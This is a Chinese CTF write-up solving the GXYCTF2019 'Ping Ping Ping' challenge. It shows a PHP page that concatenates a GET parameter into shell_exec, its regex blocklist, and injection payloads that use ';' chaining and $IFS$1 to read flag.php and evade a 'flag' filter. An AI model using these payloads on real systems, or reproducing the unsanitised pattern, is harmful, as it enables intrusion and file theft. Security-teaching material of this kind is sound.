原创 · 2025年1月24日 3

[GXYCTF2019]Ping Ping Ping 题解

前言:题目来源BUUCTF。在Linux中,ping是一个用来测试网络连通性的命令。

目录:

  1. 题目
  2. 解析

一、题目

靶机主页为一几乎空白网页,上有文本:

HTML
/?ip=

二、解析

题目在提示我们用GET请求传值。我们传一个127.0.0.1试试:

Bash
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.056 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.087 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.093 ms
64 bytes from 127.0.0.1: seq=3 ttl=42 time=0.059 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.056/0.073/0.093 ms

显示了Ping 127.0.0.1的内容,这些输出很明显来自一个shell。这说明靶机主页的功能是将用户输入与ping命令拼接,然后将命令的输出打印在网页上。

既然是拼接命令的程序,我们就想到Linux中的一些命令知识——“;”用于接连执行多条命令,而“|”用于将前一条命令之输出传给后一个命令。

那么构造URL如下,试着执行ls命令。

http://靶机地址:端口号/?ip=127.0.0.1;ls

确有输出如下:

Bash
flag.php
index.php

直接访问flag.php无结果,可能需要拼接一些命令来显示其源码。

http://靶机地址:端口号/?ip=127.0.0.1;cat%20flag.php

页面显示“fxck your space!”,相当素质。看来我们不能使用空格了,URL编码过的也不行。于是想到Linux的shell中有一个环境变量$IFS,代表空格、Tab或者换行符,考虑用这个试试。

然后这里产生了一个混淆问题:直接将命令写作cat$IFSflag.php肯定不行。shell会先把$IFSflag.php作为变量尝试解析——然而并没有这个环境变量——于是命令就不能执行。

那我们用一个空变量$1来分隔开环境变量$IFS与文件名。这个$1变量是shell脚本中的位置参数,不会产生混淆,而且未指定其内容时,会被解析为空变量。

构造URL如下:

http://靶机地址:端口号/?ip=127.0.0.1;cat$IFS$1flag.php

页面显示“fxck your flag!”,看来关键词flag也无法使用。但是,至少我们可以查看index.php了,构造命令后得到index.php源码:

PHP
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

这段代码写的很不规范,但不影响阅读。自行补全后,逐行解析如下:

PHP
<?php
// 检查是否通过 GET 参数传递了 'ip'
if (isset($_GET['ip'])) {
    $ip = $_GET['ip'];

    if (preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)) {
        echo "fxck your symbol!"; // 检查是否包含非法字符
        die();
    } else if (preg_match("/ /", $ip)) { // 检查是否包含空格
        die("fxck your space!");
    } else if (preg_match("/bash/", $ip)) { // 检查是否包含 "bash"
        die("fxck your bash!");
    } else if (preg_match("/.*f.*l.*a.*g.*/", $ip)) { // 检查是否模糊匹配 "flag" 
        die("fxck your flag!");
    }

    // 执行 ping 命令
    $a = shell_exec("ping -c 4 " .$ip); // 命令拼接
    echo "<pre>";
    print_r($a);
    echo "</pre>";
} else {
    // 如果未提供 ip 参数
    echo "";
}
?>

看这一串过滤条件头都大了,甚至还有俩过滤条件刚才都没试出来。尤其是模糊匹配f、l、a、g的正则表达式:只要命令按顺序出现这四个字母,那就会报错,导致无法拼接字符串。

刚才提到靶机主页的功能是将用户输入与ping命令拼接,然后将命令的输出打印在网页上。实现此功能用到了一个变量$a,可以考虑用这个变量打乱四个字母的顺序。

构造URL如下:

http://靶机地址:端口号/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

对于index.php的过滤规则来说,它现在就无法依次匹配到f、l、a、g了,因为字母是按照a、g、f、l的顺序出现的。上述Payload提交给靶机后,会顺利通过检测,在shell中执行下列命令:

Bash
ping 127.0.0.1 ; a=g ; cat fla$a.php

😡欸,怎么还是什么都没有?马上按F12检查一下到底输出了什么,发现以下代码:

HTML
<!--?php
$flag = "flag{5405c12c-fc50-447b-8ce1-1dcfa4ea1194}";
?-->

这就是flag.php的内容。